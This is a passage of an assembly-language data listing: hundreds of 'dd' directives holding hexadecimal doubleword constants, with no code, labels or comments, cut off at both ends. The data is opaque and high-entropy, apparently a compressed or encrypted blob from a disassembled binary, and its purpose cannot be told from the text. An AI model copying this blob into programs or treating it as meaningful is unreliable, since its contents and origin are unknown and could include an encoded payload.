82BB8570h, 1CCB006Ah, 70AA1FE9h dd 54988E30h, 8B312D07h, 737265F6h, 0E682C018h, 0D25107ADh dd 3FD6DF8h, 77908740h, 94000885h, 0CA22B812h, 72C9054Ch dd 7BC60078h, 0AA724AB3h, 3E74F241h, 193D3Ch, 145FE15Ah dd 3AC26E59h, 0AD809DACh, 1E5C3A98h, 7B00FE28h, 4E0D2937h dd 173353E9h, 3C739Bh, 7DB74844h, 5D0092DEh, 99069385h dd 1C38481h, 0B20996F6h, 0F4CC4E0Ch, 3213911Fh, 0AB00D813h dd 0D15F10FBh, 5EB50023h, 3DC924DBh, 7C05EB25h, 429863E0h dd 25A600C8h, 84009416h, 0A460D175h, 0FD033FE0h, 8D56EDB5h dd 0F483E0CFh, 3C3CB2A8h, 359DFB24h, 0E315C3EEh, 2900E04Fh dd 9F4B444Ah, 9F0D253h, 0DCAF7127h, 33DBA887h, 5AA06914h dd 616F9831h, 22E18070h, 71AE1AB5h, 16D23F9Ch, 454A6000h dd 46AC891Ch, 50189E27h, 0DE190074h, 0C705353Ah, 0D50086CFh dd 56B90D9Fh, 15C162Eh, 7FB114CBh, 0F00B9960h, 5300A3F6h dd 911B6D12h, 0FB9B0Dh, 56D36807h, 0DE5BBE73h, 0B520E10Ch dd 1CF78ACh, 24ED4AD9h dd 80BB0D3Dh, 14D00920h, 2855DB6Eh, 165C9D31h, 41B4F5D3h dd 7436343Ch, 0F61BE4B3h, 0C90083E2h, 0C2FC72D0h, 14A3BA4Ch dd 0EEB6DA16h, 0CAF41900h, 283852BFh, 3D889800h, 4007B52Dh dd 635900FCh, 26ED3A84h, 2700D9B2h, 0DEBC9745h, 765A2D03h dd 5CDC0096h, 0E4D84A3Ah, 0DF00A2AFh, 8DEF2B67h, 0A040CC4h dd 0A787968Ah, 68510CF5h, 0E90063B0h, 0ADDDDC7Dh, 18CD93D0h dd 0C11BBAB8h, 610119BBh, 47E3D21h, 64744441h, 91B800E0h dd 471BBF8Ch, 0A00055D8h, 1F72CE35h, 15F202Bh, 0A39A86E2h dd 0CA24C81Ah, 58571060h, 0B1DF41C0h, 0C0C77Bh, 0C4A5EF2Ah dd 4A445E59h, 6E13CE02h, 0E07AAAC5h, 979F5210h, 483B5BF8h dd 8EBA03BCh, 0C8B48550h, 3EF269B9h, 1B00C522h, 0C831DCCEh dd 5C000F7Eh, 3C533497h, 1422DF10h, 0B9071DDBh, 7D6D1900h dd 0A458AC82h, 0B01B5A0Fh, 5115A53Fh, 0DA12E040h, 34B17FCh dd 106D906Eh, 93E94F67h, 5EF1F0D7h, 0BE8529C2h, 988470E5h dd 64B70643h, 0B879F345h, 0F0C19900h, 0ED6078DEh, 0FDFF03A6h dd 99ABF84h, 8F55F598h, 1328A15Dh, 0C0017102h, 9AC283EFh dd 3022AC70h, 0E3F05124h, 0EA725286h, 59D158h, 311296DDh dd 1AD9476h, 66EE05AFh, 208B99F8h, 60000880h, 0A4159E39h dd 0E3A5B86h, 484652Ch, 20C0FE86h, 4913C600h, 361B9C11h dd 7F44FE23h, 0C1310190h, 689660FBh, 0C09720E2h, 9DB7E83Fh dd 0E6015155h, 90926D5Ch, 21800CD1h, 0CB07CDA9h, 0D50037CEh dd 4516696Bh, 160C443h, 0A42DC1FEh, 0E3E6C08Bh, 802CAAF7h dd 4F9A44B8h, 4486913Fh, 0F300C839h, 2B0CEA07h, 3138CD64h dd 99C18AE7h, 0E2F0F8EEh, 100E5C30h, 0FC78B720h, 0D7B90C8Eh dd 900983F9h, 0CEB8F700h, 4E7ADD43h, 31810035h, 25200319h dd 0C600FD12h, 0AF24F774h, 70CD0E0h, 0D5CDD2E2h, 28CBB688h dd 0C00B1800h, 0FFB5B0E5h, 0BC251DF3h, 1AE40CE0h, 0F40BFA20h dd 803267C0h, 0BF3F1B78h, 17D63CF8h, 0EBE20D81h, 8D2006B7h dd 608A8C88h, 0ACFF2080h, 59BFE203h, 0CC89A500h, 33DB425Ch dd 0E70138F1h, 8DEAD307h, 0B1176065h, 4900D1EFh, 52CBAE7Ch dd 0E9F9C11Dh, 0EE926E0h, 0E247897Ah, 53135420h, 6D00953Ah dd 841D18FAh, 0CE9F2A5h, 8CBBA681h, 22849628h, 0D82262A7h dd 822122A6h, 448408FBh, 28A04C79h, 0AE888EB5h, 45EB883Eh dd 77C828Bh, 0CF7AA09Bh, 2F384133h, 1152004Eh, 27CE9A82h dd 327205CBh, 0C484F67Eh, 3C58C045h, 973E7A79h, 0D800F78Ch dd 0C7A2D76Ch, 0B98031h, 788ADBE1h, 0F97C3F88h, 46E6BF0Fh dd 11A8808Fh, 0FCB02A1h, 0C274559Ah, 57AB5B61h, 0A605EC80h dd 0EA8241Dh, 44C47740h, 7B16094h, 8E1229F4h, 2D2F38Fh dd 0F0305391h, 203BB5D6h, 0B488098h, 0D5A5276Fh, 0CDC80014h dd 0C59F4D6Eh, 26005D06h, 82E395BDh, 0E665B321h, 8F0D0598h dd 0AE436Bh, 0E19AD8D8h, 8774C988h, 7400AD7Eh, 90F280FBh dd 0F9576CEh, 70D78DDDh, 0F0CA3F07h, 0A3BFD60Bh, 0AF572303h dd 0E82DD382h, 3A72CCh, 250D5386h, 0E13C0CA0h, 64D4F500h dd 0C4B0B648h, 40D809C1h, 142046F8h, 8E17CAE1h, 0EF50A409h dd 565C00FCh, 769D29Bh, 7BDBBFA9h, 436F60B2h, 6701E3D0h dd 0F10DA09Ch, 8A60B6DDh, 0EB1B004Bh, 9A9148A2h, 0CA00BE3Bh dd 49397799h, 549232h, 0A0FBE178h, 0ECF9045h, 185E1900h dd 0B3170398h, 41300B4h, 520BA2D8h, 820FD03Dh, 2098E6CFh dd 48A57AACh, 7F5E812h, 5F6F734Bh, 0CEAE201Fh, 45037DABh dd 92753042h, 56809152h, 0E70C70h, 0D52F1AB3h, 18B6B821h dd 0D045C300h, 689319F0h, 405700E1h, 2E1F8A54h, 0D42C0B27h dd 9500FC51h, 0DBBE384Fh, 141B00BCh, 0E9DAFB58h, 0CB05DBAh dd 0C96CDE00h, 8F4572E0h, 5ABE04C2h, 8759B76Fh, 98467076h dd 0F900D231h, 0C8E24F0Eh, 7073BA66h, 0AF300A3h, 4D196B65h dd 4500864Ch, 7406FE13h, 0A3B3282h, 0C229D287h, 42760092h dd 0A1C8B761h, 763EFD3Ch, 7787C700h, 0D5A66766h, 10B90037h dd 9F073FBAh, 3C00F0E6h, 0C3A9CA08h, 439DC8h, 4408192h dd 137AD1CBh, 0F2603F00h, 39CCD307h, 2AAA00F8h, 0E10D34A6h dd 330731ACh, 0F92E89C4h, 487795C0h, 0D17D0068h, 739E7869h dd 62091ECBh, 80B282BDh, 7C514C6Fh, 0BB139D3h, 0EB284989h dd 96C61420h, 0A4A034FAh, 5E9C9354h, 0AFF7DC00h, 177F812h dd 1E8CD053h, 2065A2CFh, 2A00607Ah, 0ABC20C9Dh, 11EB79h dd 41DAC0CDh, 0E254BCE7h, 845D8D04h, 0ABE8EDh, 9CD8CEC7h dd 0D6007618h, 43F53326h, 0FBE3EFh, 63302848h, 24570172h dd 91250703h, 604140DFh, 0EF44F8ECh, 0A0EAD9Ch, 7DD6843h dd 0BC60963Ah, 16423C7h, 7F7AD072h, 0C490A1C6h, 99000F41h dd 3CAF5063h, 1BAD6E0h, 4EB7ECAEh, 0CCEDC4C1h, 0BE0028D3h dd 0ACCB7106h, 0C2279Fh, 0D445656Ch, 14691DB1h, 887A3D01h dd 7B66724Ah, 0E654DCh, 49D87817h, 92953C1Dh, 3E2F148h dd 343AE994h, 3D608FE5h, 1CC86913h, 0A1F66Eh, 0BF5156E1h dd 0DD0028CAh, 0D6E9E6D3h, 1DAEE89Eh, 417F861Ah, 9261EB0Fh dd 0E980C669h, 0EF07D834h, 0D3B9250Fh, 0AFCDE0D2h, 50FBC5h dd 213A674Ch, 1CE09640h, 24757A00h, 1763D915h, 27640029h dd 690358AFh, 557DD5F4h, 6B142800h, 43B484CDh, 3AEF00CBh dd 2AB867E1h, 0EE01B156h, 529F7A59h, 89206F07h, 65933E34h dd 55DC5700h, 64F8AF62h, 0EFE7AA03h, 0A0967D99h, 7FD0D936h dd 23350141h, 5DAB653Ah, 0E1FECCBCh, 0D100CE7Fh, 0AF8FE3E0h dd 73DA703h, 0F299142Ah, 7335701Bh, 58009E54h, 8D7877EBh dd 5C217EAFh, 0CA00BE36h, 855734A3h, 0C1018CB8h, 0E38DF766h dd 81D07C26h, 5D8F004Eh, 0B421879Dh, 0F70050EFh, 59F91E0Ch dd 1605C78h, 0BF2B4A29h, 0CC320E5Eh, 1839A337h, 2F8F807Eh dd 5B41A5D9h, 14D60E51h, 0DB206D94h, 6CA33863h, 8DFD3000h dd 39A405C1h, 0FA480350h, 6F420896h, 0A22426F8h, 0C7B50C00h dd 21711A85h, 779A3E4Ah, 0F87B940Fh, 562216ECh, 0C861BC00h dd 4B5B9F35h, 63DA01A1h, 1E0481C9h, 6D49D8DCh, 0CBAC71C0h dd 1CABF305h, 33341B0h, 8ADAF87Eh, 0C5A27DB0h, 36EB0D00h dd 3A4A7F38h, 0E01E6566h, 39C980B1h, 0F34CE494h, 242E0044h dd 7015A6C4h, 64CF00FBh, 1A3E106Ch, 6903305Ah, 0C7367DA8h dd 0C0780227h, 0DDA3642Ch, 3817FDC0h, 9C623100h, 7001C4F6h dd 0A307EF7h, 0BD34B63Ah, 0E5BE02B8h, 0C710F560h, 8ED800ABh dd 8A25348Bh, 92000230h, 9C6BCBA7h, 7A879AC1h, 6695016Eh dd 0C8D22025h, 85B8CC51h, 897B4E1Dh, 2A8CE2C0h, 0FA389B5Bh dd 0D08E0035h, 1791DBA6h, 0B23DD7DCh, 656980A5h, 0E0C55DF7h dd 0FABC0FB1h, 9EE711BFh, 0F2BE7036h, 48003A4Dh, 0D2F778FCh dd 30F4BB2h, 0D9FF2B8Ch, 9490255Fh, 9900E2F4h, 0FD7802AAh dd 0EA6EC96Dh, 130400CCh, 8653156Fh, 291CF660h, 0D080B2FBh dd 5E4BC6A2h, 0D57B00E6h, 0B7A8182Dh, 9800033Eh, 65EE8284h dd 0D0B8DEh, 0D3935E1Eh, 4B67CB26h, 4F94CD03h, 0D0072F6Bh dd 1D6931h, 3C06053Ah, 0E2B835C6h, 40906100h, 0F7A09D6Eh dd 580F7E11h, 0B100D07Dh, 0B7B6CC01h, 1C00A7F9h, 2C07C683h dd 0A5EC79h, 4197EB0Ch, 20F8F510h, 0C3E5900Eh, 0E1BFA00Bh dd 0FCF02BB5h, 6DD05863h, 75D44800h, 36F49F0Ah, 0B8A4AC00h dd 84DAFA4Ch, 60DC7878h dd 0D835382Bh, 0F5032821h, 2A1207BDh, 88180029h, 53731C5Dh dd 0D700BE96h, 546074DEh, 0B46D4Eh, 8592E4C5h, 246E46F5h dd 0AC0DC11Dh, 1D10DBC0h, 756FD0Ch, 84297104h, 4426417Fh dd 158B907h, 8353E9BBh, 0D8804041h, 0F0595135h, 0F9002BC0h dd 0A6F45486h, 82345h, 9E90AD0Eh, 0C2D7C0Ah, 6A6D0201h dd 0FF99D8Dh, 7A8EE0h, 8C89E61Ah, 31C5F326h, 8894B200h dd 6A4CC98Bh, 8A4A0EB9h, 6B6787EBh, 4E9F8016h, 0E700C570h dd 1C6F1063h, 6544BCh, 0FBC15DC8h, 0CB25D9C0h, 0D1597004h dd 9C800A11h, 91FAF3h, 0A515F6A6h, 0C9E2ED4Ah, 0F7F1A001h dd 0AA45DE62h, 108C30h, 1DD82E9Fh, 0CC9D9016h, 0F681C501h dd 118C82D5h, 636EC8h, 0EE30DAE5h, 0A6BE8BF9h, 3C101F00h dd 0BBE902A3h, 947F042Bh, 80DCB216h, 0B6B475D0h, 24ED6500h dd 39CAE7DDh, 742209C2h, 1C8098D5h, 0AE3E6448h, 6E65850Fh dd 53B5406Fh, 0DD6334h, 73DB12F5h, 0EF76F8D3h, 0FAE730C0h dd 0F003DC52h, 9A4500A5h, 57C36799h, 0C2008DD1h, 189D9B1Ch dd 49F8848h, 0DC8B8934h, 0C9388041h, 75F88297h, 2C9BC800h dd 0F2A8F1EDh, 0B03F48D5h, 0FEB33900h, 4D306A6Fh, 1D3B4300h dd 8BD3AAA3h, 49280682h, 883E807Eh, 0B1BD9500h, 4FE9329h dd 0FDCA065h, 0AF190111h, 0AC46EC8Dh, 0F367C887h, 4A51DE00h dd 0BB54794Dh, 0F4A3F46Eh, 841E1818h, 7C38206Dh, 7EB02500h dd 0D2FF6EE9h, 2EAF0FD4h, 0ED063071h, 14006095h, 9F8A4EDCh dd 0E97A83Dh, 0D35EF0C6h, 0D81AD1A0h, 827B8C0Bh, 0CF678800h dd 45E7E9E2h, 78F900D3h, 0BE3260CBh, 0A9173F3Ch, 9D006BEAh dd 0E77BD531h, 426300D8h, 27EBB045h, 7C3C9124h, 0D7FB80A7h dd 8C7B83F2h, 533300B8h, 1BA9C8C4h, 56005505h, 4ACCAD1Fh dd 437B13h, 0D788C08Ah, 0A61B4782h, 0DB51421Eh, 0EE8F6E80h dd 4C8A1614h, 6A18622Fh, 2AE92018h, 44D9F803h, 998782h dd 90123E29h, 3235333Bh, 391C102h, 0D79E1E0Eh, 8C0FF163h dd 3393B7Bh, 8F635001h, 4BA0F2D7h, 0F02DFEh, 21F9BBCCh dd 914D1E3h, 0EBF4400h, 0A7B1F6C2h, 0AD9B502Fh, 0B0F8009Dh dd 0D77D6B2Ah, 1200339Fh, 55C4CA4Ah, 7A729AFh, 0BC2DAD81h dd 2AD2E319h, 0C9DBE5F8h, 5B4ED900h, 31CDB79Eh, 0CB28002Bh dd 0C1F950E6h, 0D9001DDAh, 26B422AFh, 0EE5F3FCDh, 40A1D84h dd 0F7638030h, 0A74A3AAAh, 0D4E9A00h, 6C996D96h, 0DB560514h dd 4EF0AB06h, 0AE5F6C0h, 0B3FBC036h, 0A97E3009h, 60D77B00h dd 0ADD854DFh, 8CC400EAh, 8D6D3FB0h, 0BF02BD12h, 3166B7FBh dd 7935C16Fh, 508708E9h, 0C07E3934h, 2A0E858Ah, 14E84000h dd 634BCAD5h, 96950173h, 12CBDFAh, 808B71E1h, 66F328E8h dd 0A7AFD7h, 8C7332EAh, 4116E4E5h, 0F8BCD151h, 3F00602Dh dd 915C34C4h, 220D9B8h, 17F3AA36h, 0EC8071F9h, 265D89E4h dd 660025EEh, 48643B86h, 767F9892h, 215103F0h, 3FF75D81h dd 603EFF0h, 0ABE75B00h, 9A32B4ADh, 0F11B0126h, 0F263D562h dd 46A9D4A2h, 5C28EC17h, 0A820EEAh, 7ED86400h, 3B00CB8Fh dd 0BEB5D45Ah, 0E07132h, 88BFB0E9h, 9B84708Dh, 0A22F3F02h dd 0F7B2819Ch, 4CB5F00h, 29097607h, 0DCBDFCh, 0B33EBB78h dd 0D7160C41h, 0BF0F3E8h, 80056E00h, 0E3D213DBh, 38373A56h dd 557DC54h, 9AE465A5h, 0BCA80EE1h, 9ED8BBC1h, 774884A1h dd 0AB03F183h, 0FBB0EC4Ch, 0FF16D923h, 7800FAA4h, 391A91E5h dd 0C050C07Dh, 63163A7Ch, 40DF87A2h, 6946EDh, 5B869F82h dd 97A760Eh, 2AFBF02h, 406ACBD3h, 366D6B0h, 0F9F46992h dd 26F0DFE9h, 0B801A741h, 4DA1E36Bh, 0DEF9D1C3h, 4488D4h dd 85F4E048h, 0CE8D11EDh, 0B509EC00h, 0D38F5759h, 552D00E1h dd 58483129h, 0FE01EBAAh, 94D8D75Ch, 0CB70A08Ch, 0F7C609E8h dd 0C210280h, 203060CFh, 4800B383h, 0C2BEED5Bh, 3943F3C0h dd 3D80A1EBh, 0DC41955Ch, 4B065416h, 1D6E05AEh, 31FD0040h dd 0AAC92066h, 36B8A7FBh, 70743905h, 4A807313h, 92A32C1h dd 9B17ADE0h, 72140F80h, 4200E893h, 0FA0ACF3Fh, 53EE28h dd 0BC69D9A6h, 84D4C8BDh, 9939DF28h, 3061E500h, 0F828B9E2h dd 0FDEE53h, 0B7F1A69Fh, 0BEF26260h, 25D6B00h, 0CE7879C9h dd 17EBFED8h, 1CCAB1FCh, 2600BE50h, 0EC7FAB88h, 2009611h dd 331A3C6Ah, 551391Bh, 650AA79Fh, 0BED020F9h, 0D8487872h dd 84453D15h, 73361A6Ch, 42079480h, 0E4D43D6Ah, 6057E880h dd 97CB52Dh, 0F4175B00h, 9CB77188h, 0D11F038Fh, 373AE857h dd 50D46591h, 50F4EB98h, 4DD5DC01h, 88E83BCFh, 0CA58DC0h dd 66422316h, 63030968h, 0C04AB6D5h, 7BE490ABh, 596D00A5h dd 8E0B4287h, 0F000DF91h, 548365F7h, 60D2AA76h, 0E122D0D7h dd 6800444Ch, 0D61AF689h, 0E27672D4h, 0CB5500DFh, 0DEA7E740h dd 48009D4Eh, 829A2CB3h, 1E7B91h, 46ED92BBh, 4981F5C9h dd 0A2EC1004h, 0B809EDBh, 758EA53Dh, 946301C1h, 1588AE44h dd 6C08201Ch, 6A007C7Eh, 0FE37C63Fh, 0EE5940h, 0E3AA0354h dd 0BEEC6FD9h, 8AA41B00h, 7F5B8033h, 49193B3Dh, 6CFAB880h dd 0B880724h, 36E9A100h, 26A5BB08h, 0BC9C006Dh, 7990D4C1h dd 20098B82h, 15312FDh, 63DC2548h, 9E9C9D00h, 0FE542B00h dd 0FA6CB0Dh, 475700DDh, 0CFA75F6Dh, 85174FDAh, 700101A1h dd 75230B0Dh, 5D4820h, 33B02D91h, 4BF50CF3h, 0A8F61C13h dd 0E67B3C00h, 3FFAEDBh, 8343ED47h, 6FB839C8h, 100386E8h dd 50A635E7h, 0B5E189DEh, 28982EC8h, 0E47D09h, 87BC3C6Dh dd 639023F8h, 16ABB006h, 1C4098E7h, 40665264h, 1BBD9FE0h dd 0CB7CD7E4h, 9BC64F00h, 204DAC5Eh, 0DB90083h, 875D9CF5h dd 28006FF9h, 2CC6BDEFh, 0FBC793h, 60A722Eh, 0B7E22280h dd 0E8F29500h, 0AE52C4C8h, 0FBBC010Fh, 0CB65A186h, 7213D85Fh dd 6800D073h, 0B1B206A4h, 7B8D47A5h, 0E2A4C3EAh, 0FD98B6h dd 3861AFACh, 5A00E0B7h, 7DC58597h, 31EFA0h, 0DA3B7CEBh dd 758B9558h, 40F7241Eh, 0BA075D5Ch, 0EF778C04h, 43AE4510h dd 575A0248h, 2B92A506h, 30BFDCC3h, 7C463327h, 3365A02Ch dd 2104332Ch, 0B89039B9h, 5AF35Eh, 0AE2DE0Fh, 0F09FC41Dh dd 3F0C6C00h, 669207F8h, 2FEA0F76h, 0C4C4EC16h, 4F64C059h dd 0E017091Ah, 9C039638h, 0C828A4BAh, 1203A519h, 0A80AE6h dd 0D101868h, 709A1390h, 1CB40110h, 50323910h, 0A30011D8h dd 335AFF8h, 1E94E86Bh, 0C03C9D16h, 0D48A28BAh, 4F24426Dh dd 43000609h, 0CBF82295h, 3BA5039Eh, 3AE33757h, 667360A8h dd 0FBADE100h, 31043601h, 12DF004Dh, 6E392DCCh, 0FF1E64A7h dd 1CFC0348h, 4240D097h, 95A004FAh, 5CEB4CE8h, 0D51FBD00h dd 36B51A96h, 6C74F300h, 53CEB63Ch, 0F14007EEh, 701BE852h dd 0D82CC58h, 7200D8E2h, 63D778C2h, 435FA0h, 0FB31B5Ah dd 5BEF0783h, 50A23000h, 0BD1AA146h, 9AA5030Dh, 0DF098F4Fh dd 2FF8FDC8h, 0C8248B26h, 0D8595C00h, 15003DCh, 0BD880451h dd 0D04B15A8h, 4E009019h, 0A1FE6BD1h, 946FE825h, 82850060h dd 0B2BC17C6h, 35490800h, 8B7CA7FFh, 643D0444h, 80CE50F5h dd 5319C9AAh, 0B5113A01h, 0BC42A4F4h, 0AE406C1h, 631400BDh dd 0E1BBCA13h, 20C0F527h, 939537ABh, 3F21005Ah, 0A2A791BFh dd 0C717481Dh, 0E820C1F5h, 0B3EFF2Fh, 0ED72A42Ch, 2B4B8700h dd 74397E3Ch, 56C400BEh dd 0C2DEB8FEh, 731C00FAh, 0F862339Ah, 39008F19h, 0A6C5B0EEh dd 0FDFB80h, 0C6464870h, 9D08171Bh, 8E151C0Ah, 100A895h dd 0B28054B5h, 0BC0C502Fh, 57B400F2h, 69565A87h, 60000E8Ah dd 0B11DA926h, 70935ACh, 0E7EAD029h, 8ADCB040h, 660F2D58h dd 0E0A64656h, 7F309F25h, 4516001Ch, 7461B437h, 1900EBADh dd 0BB6394D3h, 7AA3CDh, 0FCDF3115h, 951B7F7Eh, 2001F8B0h dd 21291FAFh, 0DFDDF835h, 1DAA0474h, 80143FE8h, 0A31FA7F7h dd 1E037612h, 5942720Ah, 56283862h, 6330D730h, 66F202ABh dd 8C1F083Eh, 0E13FEC9Fh, 781203B0h, 89C71770h, 0FC57DAC0h dd 0E2ADCD00h, 7E5E5513h, 0E44C036Ah, 5429E925h, 0F8A12FD0h dd 1A83DB00h, 7A20E5EAh, 233033C3h, 0D4D0E0B0h, 7B209876h dd 0EDE800F3h, 2B29C71Ch, 0E9184879h, 0B1111E15h, 0ECB8A0E7h dd 7383007Ch, 8F215927h, 28E8241Ch, 0DE53F914h, 87207Ch dd 0FFA7F613h, 0D52169ABh, 5F973B00h, 1B184CF2h, 49731D0Ah dd 0AF64E6h, 0FF601F89h, 2A48D108h, 8A007527h, 0D9A1223Eh dd 1DE37FEh, 9DC94C6Eh, 0F199F64Bh, 9BE1D4D2h, 7DD6F51Eh dd 596CB783h, 50FAF0D4h, 512A0EAEh, 0B2C044AAh, 0E7799545h dd 1E7EA300h, 8011EE01h, 2640005Dh, 33DF602Eh, 93009BB2h dd 34B77C29h, 4C25976Ch, 0F5004EF2h, 0C6E3CF0Eh, 1400376Dh dd 1CB965FAh, 3C84EB6h, 17F1A98Dh, 0C54ACAh, 393B60FAh dd 0BE384F5Dh, 10832696h, 532F00B9h, 0D22A4E3h, 55E87Ch dd 4B85DB5Dh, 6054469Ah, 8FD49100h, 8884D77Ah, 38F066h dd 639D3EAAh, 0BB270C86h, 0D430B04h, 4090D407h, 62E856h dd 0F19444A1h, 9D092285h, 0CB64CE00h, 8DBDAB24h, 44A31E3Dh dd 43764E7Bh, 7020034Ah, 16432EA0h, 0DF00A7Fh, 80F02AF4h dd 0B3421003h, 47078721h, 1F949F5Bh, 24906E44h, 19599869h dd 0F98E301Bh, 5EB36061h, 0E976FC00h, 903F99CEh, 0DE810F43h dd 8073B9D7h, 0B5DBF2C8h, 0BC5EEA07h, 0F8E37FCAh, 308249Ah dd 2A3D8084h, 12BEFBEBh, 2D056C7Ch, 0DF33206Dh, 2068242Bh dd 0A9378024h, 12619585h, 27292F00h, 0A160569Ah, 0E3D90707h dd 0C0E83E9Bh, 89DB32D5h, 1ED07E60h, 0DFEC5455h, 0A1B73948h dd 91D90419h, 0E82D50E4h, 7906A4BCh, 35A3E3E0h, 0DA30C548h dd 0CA45F0Dh, 2768ECE1h, 0DB1040F1h, 5580F1A3h, 0F36A29F0h dd 42D381BCh, 18FF20CAh, 3B268871h, 0F1935909h, 0D635802Dh dd 60FEAAD4h, 18FB41E6h, 2304F043h, 6EF459F3h, 91053CD7h dd 0C84AD440h, 0B3BF87h, 40B1807Fh, 70A507E7h, 7BC02554h dd 3B26A174h, 7740605Eh, 9CC33ADh, 3FF4531Fh, 46F6C187h dd 0D40031EEh, 673233B6h, 0AF9B144h, 0E4C81EB0h, 0AEBE80C4h dd 558D0B89h, 0A800E0F2h, 680DB6D5h, 681A43Ah, 0EA07B77Ah dd 72078131h, 9269F046h, 0E8DFA8A1h, 0E48E8h, 8CB26CB8h dd 3035687Ah, 5730FFF4h, 0C9A4D881h, 0E62F0FB8h, 0EB40E931h dd 3771B02Eh, 0DCF92467h, 1E9EC130h, 0B9A700BEh, 361AA320h dd 241F05C8h, 981C89F4h, 303C950Ch, 0EC5E33E9h, 0EFBAB2E1h dd 6840D6C2h, 0BA49D7D1h, 0EAB88244h, 48CDC15Dh, 5C4C4423h dd 0EB29A680h, 0FF523F1Fh, 65B300D4h, 0D00470FCh, 54FB22BCh dd 12556316h, 458C9002h, 0CBCC4111h, 42045A18h, 1F97212Dh dd 0A3232632h, 77ACB04Eh, 65F296h, 0CA11B07Ch, 0F4F93322h dd 5B032C0Ch, 0FFD9E8h, 32619DE5h, 0A653F83Bh, 4235D700h dd 0E3F2CC91h, 50C6002Ah, 76280D9Dh, 6312C889h, 0C3053E5h dd 23C23267h, 7218E31Fh, 0B91621h, 87765033h, 0F0BA1BA3h dd 862E4804h, 0C4876422h, 0FCFE6300h, 0CC4E5C68h, 8C698850h dd 2F425C02h, 197AE721h, 0E41D102Bh, 0DBFD0026h, 0D4EC2D3Bh dd 0CCA0E68Eh, 0E2FB036Ch, 12C0806Bh, 600019C0h, 0DE7FFF08h dd 0E880A755h, 9521C3D8h, 73F019C8h, 7A0A6783h, 2029036Dh dd 0C519C140h, 2277460Bh, 699409A1h, 0C2007C20h, 399F3BDh dd 10023FB0h, 0B930AC32h, 0FB8449BAh, 0ACCCFC24h, 426102ECh dd 476F20B8h, 14107519h, 2B0959E9h, 80834E74h, 586E8C60h dd 0A13500C9h, 82F26804h, 5C066AC6h, 5E15E293h, 3F3C0010h dd 6B1FB9BBh, 0A0704ABEh, 3162E658h, 0A719205Fh, 1E73E8h dd 4B290435h, 9DE3AB88h, 0C681EA00h, 84992362h, 5F440059h dd 5DFF03F0h, 0C8003F1Ch, 0BCFCF938h, 6E8626Fh, 68EEE5FBh dd 21F38EDh, 0B85257h, 845C3C18h, 37D9FA72h, 9078453Fh dd 0F3B89C5Ah, 0F712DF2Eh, 0E986761Ch, 0E40F8DCh, 8344EF5Ch dd 1DEBC898h, 0A400B1DFh, 0C5224E41h, 20C76714h, 0E286C128h dd 11BF1Eh, 45CAD5A4h, 334340B9h, 1D088901h, 19C4210Eh dd 0AE1AA0D4h, 7A4854h, 0E0AAA7Fh, 0FABE0FE1h, 0EB21A526h dd 485E7030h, 0D48E3E39h, 40EB150Ch, 8F67E89h, 6745F01h dd 5EC1E16Eh, 8066B16Fh, 8310121h, 0EA9A42Eh, 7D19D3D5h dd 9AEA6B60h, 0A758DC9Dh, 616F784Fh, 0C8CC05F1h, 27B6DC20h dd 8D0A0C72h, 24105577h, 0D7EEC00Ch, 4CDE319Dh, 4133B2C7h dd 0DFF89A30h, 0D7792125h, 0ED94BB05h, 0A04EC583h, 58069290h dd 7105D48h, 5F9FBC66h, 0C661400Eh, 62745645h, 892180EDh dd 9AC49E5Bh, 7FE00734h, 0B12B0458h, 80420871h, 0C34699E1h dd 2AA97EB4h, 22D42337h, 2B014062h, 1E4C4964h, 4452FDA9h dd 9F8F3004h, 640E3A08h, 31D96660h, 9F86CC00h, 77B51F99h dd 0C43354B8h, 3B028C13h, 56759108h, 100D196Fh, 0F9357h dd 0AC5112B6h, 36E23296h, 0A750D60Ch, 2C69D2h, 0BC17103Fh dd 0AFDC29C3h, 96568903h, 0E8DD9120h, 1E6B7587h, 818DA0FDh dd 9B9DBC7Bh, 5E24C4CAh, 3108BC91h, 0BBC960E3h, 0E6E61E13h dd 97194486h, 81DFAD3Fh, 6B634CAAh, 5DF0C465h, 5CEF4009h dd 95945307h, 16D3F1CCh, 7151B858h, 0B2825075h, 0F4F45212h dd 297B57C7h, 67928804h, 0AF04D405h, 888C4719h, 2000F5F9h dd 3C00D415h, 6A1E466Ch, 0D7A9C4h, 0DCC71B71h, 0F4FDFA36h dd 3DF73Dh, 8151C2CCh, 6DB54Ch, 0F1269680h, 55E62D8Ch dd 0EF002CE8h, 5B1A4EB0h, 0BC97DD5h, 0A85ADF43h, 0C01099A4h dd 3CB71EB9h, 0B9075B00h, 8BABCEF6h, 6B4F28Ch, 283F362Bh dd 0E200B079h, 0DF308FD9h, 0B14C7h, 8FD60AFh, 5873E49Fh dd 5AE0E200h, 0C427CDADh, 92F20039h, 0E159810Bh, 67004A3Fh dd 0B01712EFh, 1C939Eh, 0A11F5AC9h, 3DA964ABh, 35341B1Fh dd 8FB58580h, 0CDA3F3h, 0FEC8C4F9h, 818BA1CCh, 59E85000h dd 196DC588h, 450D0052h, 3B8DBF99h, 0F002BFEh, 0F73C90D3h dd 1FB07E78h, 0DF63858Ch, 46200119h, 40E4E114h, 0D9531D80h dd 62800160h, 301A0E71h, 2B400B82h, 0BF00785Ah, 0C241CD1h dd 18766160h, 8052FBA1h, 6D00CF9Eh, 1C4158D5h, 115F82h dd 0ECA2B4D3h, 136CBCF5h, 452C9014h, 179F14F0h, 0C97F0A80h dd 0EC0C041h, 211ED6DEh, 9C913D67h, 36566E00h, 8A67AE2h dd 0C734FE00h, 0F5B7AA9Eh, 8D500011h, 5BA1A560h, 58074722h dd 8AEB8E82h, 1DAB2330h, 79520E8Fh, 0F4E7E9FDh, 92CF904Ah dd 28001956h, 265ECD35h, 8EF5983h, 151A60Fh, 0F660AEE1h dd 0C58E6100h, 13DD39h, 0DA8ADB94h, 0A06735D8h, 0EFBCBE0h dd 337A8365h, 3615CEA2h, 45810043h, 0D143D4F8h, 57F1E001h dd 0CDA21F95h, 0F920ACCDh, 0C01C5088h, 21D300E4h, 0BAD41644h dd 306077C9h, 0C8C545C1h dd 406100E0h, 59BC24E6h, 7D00D911h, 9E20EA98h, 90EB3A08h dd 0FA070040h, 8AB27105h, 0BB3B404Bh, 1104FE92h, 0F6E4CCFCh dd 866208Ch, 6552126Dh, 754056C4h, 69C578A3h, 0CB7E9C00h dd 9AFF5839h, 0A9810047h, 7624DDCAh, 50001916h, 37346D03h dd 7309C1h, 0BE9E0F96h, 8282FB1h, 0FFE3A100h, 20589CD6h dd 0C0AF1EBCh, 3E24433Bh, 400014AEh, 85978AA0h, 40F4F1h dd 0E4E8C33Ah, 0B39B0D66h, 107D3700h, 